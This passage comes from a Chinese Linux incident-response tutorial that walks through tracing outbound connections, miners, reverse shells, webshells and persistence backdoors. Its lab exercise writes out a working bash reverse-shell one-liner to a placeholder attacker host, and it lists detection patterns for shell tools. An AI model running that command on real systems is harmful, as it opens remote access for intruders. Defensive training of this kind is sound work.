/var/log/auth.log (Debian) 认证日志 grep / tail
/var/log/secure (CentOS) 认证日志 grep / tail
/var/log/syslog 系统日志 grep / tail
/var/log/messages 系统消息 grep / tail
/var/log/wtmp 登录成功记录 last / utmpdump
/var/log/btmp 登录失败记录 lastb / utmpdump
/var/log/lastlog 最后登录记录 lastlog
/var/log/cron 定时任务日志 grep / tail
/var/log/apache2/ Apache 日志 grep / awk
/var/log/nginx/ Nginx 日志 grep / awk
~/.bash_history 用户命令历史 cat

8. 实战组合技

单个命令只能看到片面信息,组合使用才能还原完整攻击链。以下是应急响应中最常用的命令组合流程。

场景 1:发现可疑外连 → 完整溯源

目标:从一个可疑的外连连接出发,追踪到恶意进程及其来源

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Step 1: 发现可疑外连
ss -antlp | grep ESTAB | grep -vE ':22|:80|:443'

# 输出发现: ESTAB 192.168.1.100:45678 → 185.141.27.34:4444 pid=31922

# Step 2: 查看进程详情
ps auxef | grep 31922
ls -la /proc/31922/exe
cat /proc/31922/cmdline | tr '\0' ' '

# Step 3: 查看进程的文件描述符
ls -la /proc/31922/fd/

# Step 4: 查看父进程链
pstree -ap 31922

# Step 5: 查看进程打开的所有文件
lsof -p 31922

# Step 6: 分析可疑二进制
file /proc/31922/exe
strings /proc/31922/exe | grep -iE '(http|pool|exec|/bin/)'
sha256sum /proc/31922/exe

# Step 7: 查看进程环境变量(可能包含密码或 C2 信息)
cat /proc/31922/environ | tr '\0' '\n'

# Step 8: 抓包确认通信内容
tcpdump -i any -nn host 185.141.27.34 -A -c 100

场景 2:CPU 100% → 挖矿排查

目标:系统 CPU 占用异常高,排查是否为挖矿木马

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Step 1: 找到 CPU 占用最高的进程
top -bn1 -o %CPU | head -20

# 发现 PID 31247, CPU 98.5%, 名称 kworker0

# Step 2: 确认进程真实身份
ls -la /proc/31247/exe
# 输出: /proc/31247/exe -> /tmp/.cache/kworker0 (不是真正的内核线程)

# Step 3: 提取矿池信息
strings /tmp/.cache/kworker0 | grep -iE '(pool|stratum|xmr|wallet)'
# 输出: stratum+tcp://pool.minexmr.com:3333

# Step 4: 确认网络连接
lsof -i -nP -p 31247
# 输出: TCP 192.168.1.100:52341->45.33.32.156:3333 (ESTABLISHED)

# Step 5: 查找启动方式(持久化机制)
# 检查定时任务
crontab -l
crontab -u www-data -l
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/

# 检查系统服务
systemctl list-unit-files --state=enabled | grep -v "^$"

# 检查 rc.local
cat /etc/rc.local

# Step 6: 查看进程启动时间,关联 Web 日志
ps -eo pid,lstart,args | grep 31247
# 启动于 Mar 14 03:12

# 查看该时间段的 Web 日志
grep "03:1[0-5]" /var/log/apache2/access.log | grep -iE "POST|cmd|exec"

场景 3:可疑用户排查

目标:发现一个不认识的用户账户,全面排查其活动

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Step 1: 检查用户基本信息
id suspicious_user
grep suspicious_user /etc/passwd
grep suspicious_user /etc/shadow # 检查密码状态
grep suspicious_user /etc/group

# Step 2: 检查用户登录历史
last suspicious_user
lastb suspicious_user

# Step 3: 检查用户的 SSH 配置
cat /home/suspicious_user/.ssh/authorized_keys
cat /home/suspicious_user/.ssh/known_hosts

# Step 4: 检查用户的命令历史
cat /home/suspicious_user/.bash_history
cat /home/suspicious_user/.zsh_history 2>/dev/null

# Step 5: 检查用户的定时任务
crontab -u suspicious_user -l

# Step 6: 查找用户创建/修改的文件
find / -user suspicious_user -type f 2>/dev/null

# Step 7: 检查用户当前运行的进程
ps aux | grep suspicious_user

# Step 8: 检查账户创建记录
grep "suspicious_user" /var/log/auth.log

场景 4:反弹 shell 检测与分析

目标:系统性检测是否存在反弹 shell

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Step 1: 检查所有 ESTABLISHED 连接中由 shell 进程发起的
ss -antlp | grep ESTAB
lsof -nP -iTCP -sTCP:ESTABLISHED | grep -E "bash|sh|python|perl|ruby|php|nc|ncat"

# Step 2: 检查所有 bash/sh 进程的文件描述符
for pid in $(pgrep -x "bash|sh|dash"); do
echo "=== PID: $pid ==="
ls -la /proc/$pid/fd/ 2>/dev/null | grep socket
done

# Step 3: 关键特征 — stdin/stdout/stderr 都指向 socket
# 正常 bash: fd/0 → /dev/pts/0, fd/1 → /dev/pts/0
# 反弹 shell: fd/0 → socket:[xxxx], fd/1 → socket:[xxxx]

# Step 4: 检查常见反弹 shell 工具
ps auxef | grep -iE "nc -e|ncat|socat|python.*socket|perl.*socket|ruby.*socket|php.*fsockopen"

# Step 5: 检查 /dev/tcp 连接(Bash 内置)
grep -r "/dev/tcp/" /proc/*/cmdline 2>/dev/null | tr '\0' ' '

# Step 6: 用 strace 实时监控可疑 shell
strace -fp <PID> -e trace=read,write -s 256 -o /tmp/shell_trace.txt

场景 5:5 分钟快速排查(First Look)

目标:在最短时间内获取系统安全状态概览

一键执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
echo "========== [1/8] 系统信息 =========="
hostname; uname -a; uptime

echo "========== [2/8] 当前登录用户 =========="
w

echo "========== [3/8] CPU 占用 Top 10 =========="
ps -eo pid,ppid,user,%cpu,%mem,args --sort=-%cpu | head -11

echo "========== [4/8] 可疑网络连接 =========="
ss -antlp | grep ESTAB | grep -vE ':22\b|:80\b|:443\b'

echo "========== [5/8] 监听端口 =========="
ss -tlnp

echo "========== [6/8] 最近登录 =========="
last -n 10 -a -i

echo "========== [7/8] UID 0 用户 =========="
awk -F: '$3==0 {print $1}' /etc/passwd

echo "========== [8/8] 临时目录可执行文件 =========="
find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null

排查要点

2 分钟完成上述命令

重点看:CPU 异常高的进程、非预期的外连、可疑监听端口、异常登录记录

如果发现可疑项,再使用前面各节的详细命令深入分析

场景 6:Webshell 后门排查

目标:Web 服务器被入侵后,查找 Webshell 文件

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Step 1: 查找最近修改的 Web 文件
find /var/www/ -mtime -7 -name "*.php" -type f

# Step 2: 在 PHP 文件中搜索危险函数
grep -rl "eval\|assert\|system\|exec\|passthru\|shell_exec\|base64_decode" /var/www/ --include="*.php"

# Step 3: 查找异常的单行 PHP 文件(一句话木马特征)
find /var/www/ -name "*.php" -type f -exec sh -c 'lines=$(wc -l < "$1"); if [ "$lines" -lt 5 ]; then echo "$1 ($lines lines)"; fi' _ {} \;

# Step 4: 查找隐藏的 PHP 文件
find /var/www/ -name ".*.php" -type f

# Step 5: 检查 Web 日志中的 POST 请求
grep "POST" /var/log/apache2/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20

# Step 6: 检查 Web 进程是否派生了异常子进程
pstree -ap $(pgrep -o apache2) # 或 nginx/httpd

场景 7:检查持久化后门

目标:全面检查攻击者可能设置的持久化机制

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 1. 定时任务
crontab -l 2>/dev/null
for user in $(cut -d: -f1 /etc/passwd); do
crontab_content=$(crontab -u "$user" -l 2>/dev/null)
if [ -n "$crontab_content" ]; then
echo "=== $user ==="
echo "$crontab_content"
fi
done
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# 2. 系统服务
systemctl list-unit-files --state=enabled
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/ | grep -v "^total"

# 3. 启动项
cat /etc/rc.local 2>/dev/null
ls -la /etc/init.d/

# 4. SSH 后门
for home in /home/* /root; do
echo "=== $home ==="
cat "$home/.ssh/authorized_keys" 2>/dev/null
done

# 5. 环境变量与 profile 后门
cat /etc/profile
cat /etc/bash.bashrc
for home in /home/* /root; do
echo "=== $home/.bashrc ==="
tail -5 "$home/.bashrc" 2>/dev/null
echo "=== $home/.bash_profile ==="
tail -5 "$home/.bash_profile" 2>/dev/null
done

# 6. 预加载库后门(LD_PRELOAD)
cat /etc/ld.so.preload 2>/dev/null
echo $LD_PRELOAD

# 7. alias 后门
alias
grep "alias" /root/.bashrc /home/*/.bashrc 2>/dev/null

场景 8:已删除但仍在运行的恶意文件恢复

目标:攻击者删除了恶意文件但进程仍在运行,需要恢复样本

步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1: 找到进程的可执行文件路径
ls -la /proc/31247/exe
# 输出: /proc/31247/exe -> /tmp/.cache/kworker0 (deleted)

# Step 2: 即使文件被删除,/proc/PID/exe 仍然指向原文件的内存映射
# 可以直接复制出来
cp /proc/31247/exe /tmp/recovered_malware

# Step 3: 验证恢复的文件
file /tmp/recovered_malware
sha256sum /tmp/recovered_malware

# Step 4: 查看进程打开的已删除文件
lsof -p 31247 | grep deleted

# Step 5: 从 fd 恢复其他被删除的文件
ls -la /proc/31247/fd/ | grep deleted
cp /proc/31247/fd/7 /tmp/recovered_config

9. 命令速查表

按排查阶段分类

阶段 命令 用途 异常指标
进程排查 ps auxef 完整进程列表 可疑路径、伪装名称、高 CPU
ps -eo pid,ppid,user,lstart,args --sort=start_time 按时间排序 入侵时间点后的新进程
pstree -ap 进程树 Web 服务派生 shell
top -bn1 -o %CPU CPU 排序 单进程 CPU 持续 100%
ls -la /proc/PID/exe 进程真实路径 路径在 /tmp 等可写目录
cat /proc/PID/environ | tr '\\0' '\\n' 进程环境变量 包含 C2 地址或密码
网络排查 ss -antlp TCP 连接和监听 可疑外连、异常监听端口
lsof -i -nP 进程网络连接 shell 进程有外连
lsof -nP -iTCP -sTCP:ESTABLISHED 已建立连接 连接到矿池/C2
ss -ant dport = :4444 按端口过滤 连接到已知恶意端口
文件排查 find / -mtime -1 -type f 最近修改文件 系统目录中的新文件
find / -perm -4000 -type f SUID 文件 非标准 SUID 文件
find /tmp /var/tmp /dev/shm -executable 临时目录可执行文件 任何可执行文件
lsattr 扩展属性 immutable 标志
rpm -Va / debsums -c 文件完整性 系统命令被替换
用户排查 w 当前登录用户 异常 IP、异常时间
last -a -i 登录历史 境外 IP 登录
lastb -a -i 失败登录 大量失败后成功
awk -F: '$3==0' /etc/passwd UID 0 用户 非 root 的 UID 0
二进制分析 file <binary> 文件类型 伪装扩展名
strings <binary> 提取字符串 IP、URL、命令
sha256sum <binary> 哈希计算 VirusTotal 查询
ldd <binary> 动态链接库 异常 .so 文件
追踪调试 strace -e trace=network -fp PID 网络系统调用 C2 通信内容
strace -e trace=file -fp PID 文件系统调用 访问敏感文件
tcpdump -i any -nn host IP 抓包 通信协议和内容
日志分析 journalctl -u sshd --since "DATE" SSH 日志 暴力破解记录
grep "Failed password" /var/log/auth.log 失败登录 暴破 IP 和次数
grep "Accepted" /var/log/auth.log 成功登录 异常时间/IP 登录

关键 /proc 文件速查

路径 内容 用途
/proc/PID/exe 可执行文件路径 确认进程真实身份
/proc/PID/cmdline 命令行参数 查看启动参数
/proc/PID/environ 环境变量 查找 C2、密码
/proc/PID/fd/ 文件描述符 检测反弹 shell
/proc/PID/cwd 工作目录 确认启动位置
/proc/PID/maps 内存映射 查看加载的库
/proc/PID/status 进程状态详情 UID/GID 确认

10. 练习题

实战练习:在实验环境中找到隐藏的反弹 shell

练习目标:使用本页学到的命令,找到隐藏在系统中的反弹 shell 进程并追踪其来源

环境准备(在你的实验虚拟机上操作)

1
2
3
4
5
# 在「攻击机」上监听(模拟 C2)
nc -lvnp 4444

# 在「靶机」上创建反弹 shell(模拟被入侵)
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &'

练习步骤

  1. 使用网络命令找到可疑的 ESTABLISHED 连接

  2. 根据连接信息定位到进程 PID

  3. 通过 /proc/PID/fd/ 确认是否为反弹 shell(stdin/stdout/stderr 都指向 socket)

  4. 使用 pstree 查看进程的父子关系

  5. 使用 strace 实时监控攻击者的操作

  6. 记录所有 IOC(IP、端口、PID、文件路径、哈希值)

思考题

Q1:如果攻击者使用 python -c 'import pty;pty.spawn("/bin/bash")' 升级了 shell,你还能通过 fd 检测到吗?

Q2:如果 /usr/bin/ps/usr/bin/ss 被替换(rootkit),你还有什么方法排查进程和网络?

Q3:攻击者删除了恶意文件但进程还在运行,你如何恢复该文件用于分析?

参考答案

A1:可以。无论 shell 是否升级,底层的 socket 文件描述符不会变。Python 会创建新的 pty,但父进程的 fd 仍然指向 socket

A2:可以直接读取 /proc 文件系统(ls /proc/ 查看 PID、cat /proc/net/tcp 查看网络连接),或使用从可信介质启动的 busybox 静态编译工具

A3:通过 /proc/PID/exe 可以恢复 — 参见本页「场景 8:已删除但仍在运行的恶意文件恢复」

延伸学习

Linux应急响应/03-日志分析 — 深入学习日志分析方法

Linux应急响应/04-持久化排查 — 详细了解各种持久化后门

Linux应急响应/05-Rootkit检测 — 当基础命令不可信时的排查方法


上一章 目录 下一章
01-系统基础与关键目录 Linux应急响应 03-日志分析基础